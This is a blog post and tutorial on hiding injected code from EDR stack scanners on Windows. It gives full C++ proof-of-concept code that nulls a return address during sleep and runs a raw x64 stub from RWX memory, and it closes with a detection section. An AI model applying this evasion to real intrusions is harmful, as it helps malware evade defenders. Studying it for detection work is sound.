July 23, 2026
Return Stack Address Overwrite
Welcome to this new Medium post. Today we are starting a new series focused on call stack manipulation techniques for Windows offensive…

By S12 - 0x12Dark Development
5 min read
Welcome to this new Medium post. Today we are starting a new series focused on call stack manipulation techniques for Windows offensive security. This first post covers the simplest implementation possible, Return Stack Address Overwrite, because understanding it is the foundation for everything that comes after: true call stack spoofing with synthetic unwindable frames, active syscall stack spoofing, and more. Walk before you run
Want to go deeper into Windows offensive development?
Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams
0x12 Dark Development Skip to content Join our offensive development courses and modules, and explore the techniques database with 100+ real…
Introduction
Before diving in, you need to understand two concepts.
What is the call stack?
The call stack is a data structure that tracks the active chain of function calls in a thread. Every time a function is called, a new frame is pushed onto the stack containing the return address (where execution should go when the function returns). The stack only shows what is actively executing right now and what called it. It is not a history log. Once a function returns, its frame is gone
Example of call stack:
What is SEC_PRIVATE memory?
When you allocate memory with VirtualAlloc, Windows marks that region as SEC_PRIVATE. This is anonymous memory with no backing PE module. In contrast, MEM_IMAGE memory is backed by a legitimately loaded DLL or EXE
EDRs and tools like System Informer, Moneta, and pe-sieve inspect thread stacks looking for return addresses that point into SEC_PRIVATE regions. Finding one means injected code is actively executing. That is the IOC we are hiding
Methodology
EDRs scan threads during sleep. This is the window of opportunity for detection: the thread is blocked, the stack is static, and the scanner can walk every frame looking for unbacked memory references
The goal of Return Stack Address Overwrite is simple: hide any frames pointing to SEC_PRIVATE memory during the sleep window
The mechanism is even simpler. On x64, the stack walker reconstructs the call stack by reading return addresses and following a chain of pointers. If you overwrite a return address with 0x0, the walker tries to find what function contains address 0x0, finds nothing in.pdata, and stops. Everything below that point in the chain becomes unreachable. The frames still exist in memory physically, but the walkker cannot reach them
So the attack is: overwrite the return address of your sleep function with 0, sleep, restore the original return address before returning
Implementation
What we are building
A PoC that:
- Allocates a
SEC_PRIVATEmemory region (simulating injected shellcode) - Writes a small x64 stub into it that calls our
MySleepfunction - Executes that stub so the stack contains a
SEC_PRIVATEframe - Inside
MySleep, pauses twice withgetcharso you can observe the stack in System Informer before and after the null overwrite
VOID MySleep(DWORD ms) {
auto returnAddress = (PULONG_PTR)_AddressOfReturnAddress();
auto originalRetAddress = *returnAddress;
cout << "Return address: " << hex << originalRetAddress << endl;
cout << "Check stack NOW, memSpace frame visible" << endl;
getchar();
*returnAddress = 0;
cout << "Null written, check stack NOW, memSpace frame gone" << endl;
getchar();
*returnAddress = originalRetAddress;
cout << "Restored" << endl;
}VOID MySleep(DWORD ms) {
auto returnAddress = (PULONG_PTR)_AddressOfReturnAddress();
auto originalRetAddress = *returnAddress;
cout << "Return address: " << hex << originalRetAddress << endl;
cout << "Check stack NOW, memSpace frame visible" << endl;
getchar();
*returnAddress = 0;
cout << "Null written, check stack NOW, memSpace frame gone" << endl;
getchar();
*returnAddress = originalRetAddress;
cout << "Restored" << endl;
}_AddressOfReturnAddress() is an MSVC intrinsic that returns a pointer to the return address of the current frame on the stack. Dereferencing it gives you the actual return address. Writing 0 there cuts the chain
Note that the null overwrite and the restore sandwich the sleep. Any code you call between those two lines will appear normally on the stack above MySleep because those are new frames pushed on top. What disappears is everything below: the caller of MySleep, and everything that called that
The stub
To simulate shellcode executing from SEC_PRIVATE memory, we need code in memSpace that calls MySleep. We cannot copy a C++ function there because call instructions in compiled code use relative offsets that break when the code moves to a different address. Instead, we write raw bytes that use an absolute address for the call
BYTE stub[] = {
0x48, 0x83, 0xEC, 0x28, // sub rsp, 28h (shadow space)
0x48, 0xC7, 0xC1, 0x00, 0x00, 0x00, 0x00, // mov rcx, <ms> , offset 7
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, <MySleep> ; offset 13
0xFF, 0xD0, // call rax
0x48, 0x83, 0xC4, 0x28, // add rsp, 28h
0xC3 // ret
};BYTE stub[] = {
0x48, 0x83, 0xEC, 0x28, // sub rsp, 28h (shadow space)
0x48, 0xC7, 0xC1, 0x00, 0x00, 0x00, 0x00, // mov rcx, <ms> , offset 7
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, <MySleep> ; offset 13
0xFF, 0xD0, // call rax
0x48, 0x83, 0xC4, 0x28, // add rsp, 28h
0xC3 // ret
};The sub rsp, 28h and add rsp, 28h are the required shadow space for the x64 calling convention. The ms argument goes into rcx (first argument register). MySleep's address goes into rax and we call through it. This avoids any relative offset issues
We patch the placeholders at runtime:
*(DWORD*)(stub + 7) = ms;
*(ULONG_PTR*)(stub + 13) = mySleepAddr;*(DWORD*)(stub + 7) = ms;
*(ULONG_PTR*)(stub + 13) = mySleepAddr;Full Code
#include <iostream>
#include <Windows.h>
using namespace std;
// Credit: https://github.com/mgeeky/ThreadStackSpoofer
VOID MySleep(DWORD ms) {
auto returnAddress = (PULONG_PTR)_AddressOfReturnAddress();
auto originalRetAddress = *returnAddress;
cout << "Return address: " << hex << originalRetAddress << endl;
cout << "Check stack NOW, memSpace frame visible" << endl;
getchar();
*returnAddress = 0;
cout << "Null written, check stack NOW, memSpace frame gone" << endl;
getchar();
*returnAddress = originalRetAddress;
cout << "Restored" << endl;
}
int main() {
LPVOID memSpace = VirtualAlloc(NULL, 5012, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
cout << "memSpace: " << hex << memSpace << endl;
ULONG_PTR mySleepAddr = (ULONG_PTR)MySleep;
DWORD ms = 3000;
BYTE stub[] = {
0x48, 0x83, 0xEC, 0x28,
0x48, 0xC7, 0xC1, 0x00, 0x00, 0x00, 0x00,
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF, 0xD0,
0x48, 0x83, 0xC4, 0x28,
0xC3
};
*(DWORD*)(stub + 7) = ms;
*(ULONG_PTR*)(stub + 13) = mySleepAddr;
memcpy(memSpace, stub, sizeof(stub));
((void(*)())memSpace)();
cout << "Done" << endl;
return 0;
}#include <iostream>
#include <Windows.h>
using namespace std;
// Credit: https://github.com/mgeeky/ThreadStackSpoofer
VOID MySleep(DWORD ms) {
auto returnAddress = (PULONG_PTR)_AddressOfReturnAddress();
auto originalRetAddress = *returnAddress;
cout << "Return address: " << hex << originalRetAddress << endl;
cout << "Check stack NOW, memSpace frame visible" << endl;
getchar();
*returnAddress = 0;
cout << "Null written, check stack NOW, memSpace frame gone" << endl;
getchar();
*returnAddress = originalRetAddress;
cout << "Restored" << endl;
}
int main() {
LPVOID memSpace = VirtualAlloc(NULL, 5012, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
cout << "memSpace: " << hex << memSpace << endl;
ULONG_PTR mySleepAddr = (ULONG_PTR)MySleep;
DWORD ms = 3000;
BYTE stub[] = {
0x48, 0x83, 0xEC, 0x28,
0x48, 0xC7, 0xC1, 0x00, 0x00, 0x00, 0x00,
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF, 0xD0,
0x48, 0x83, 0xC4, 0x28,
0xC3
};
*(DWORD*)(stub + 7) = ms;
*(ULONG_PTR*)(stub + 13) = mySleepAddr;
memcpy(memSpace, stub, sizeof(stub));
((void(*)())memSpace)();
cout << "Done" << endl;
return 0;
}Run the binary. Open System Informer, find the process, go to its threads, and inspect the call stack
First getchar (before null):
memSpace: 00000273ECBE0000
Return address: 273ecbe0017
Check stack NOW, memSpace frame visiblememSpace: 00000273ECBE0000
Return address: 273ecbe0017
Check stack NOW, memSpace frame visible
The frame from memSpace is visible. An EDR scanning this thread would flag it immediately
Second getchar (after null):
The memSpace frame is gone. main is gone. The scanner walks to MySleep, reads the return address, finds 0x0, finds no function entry in .pdata, and stops. Nothing to flag
Detection
This technique has clear detection opportunities that a focused analyst or advanced EDR can identify
The call stack does not terminate at the expected entry points. A legitimate thread always ends with kernel32!BaseThreadInitThunk+0x14 followed by ntdll!RtlUserThreadStart+0x21. A thread whose stack terminates at an arbitrary function like MySleep is anomalous
The SEC_PRIVATE RWX region still exists in memory. Even if the stack is clean, a memory scanner will find memSpace as an executable anonymous region with no backing module. That alone is an IOC independent of the stack
Conclusions
This is the simplest form of call stack manipulation: truncate the chain by writing a null return address during sleep. It is effective against automated scanners that look for SEC_PRIVATE return addresses, and it is a clean, stable implementation that works on both x86 and x64
But it is not true call stack spoofing. The stack does not terminate cleanly, it is not properly unwindable, and the anonymous memory region is still visible to memory scanners, a focused analyst finds this immediately, and that's what we will improve in the nexts posts of this series!
📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube
S12.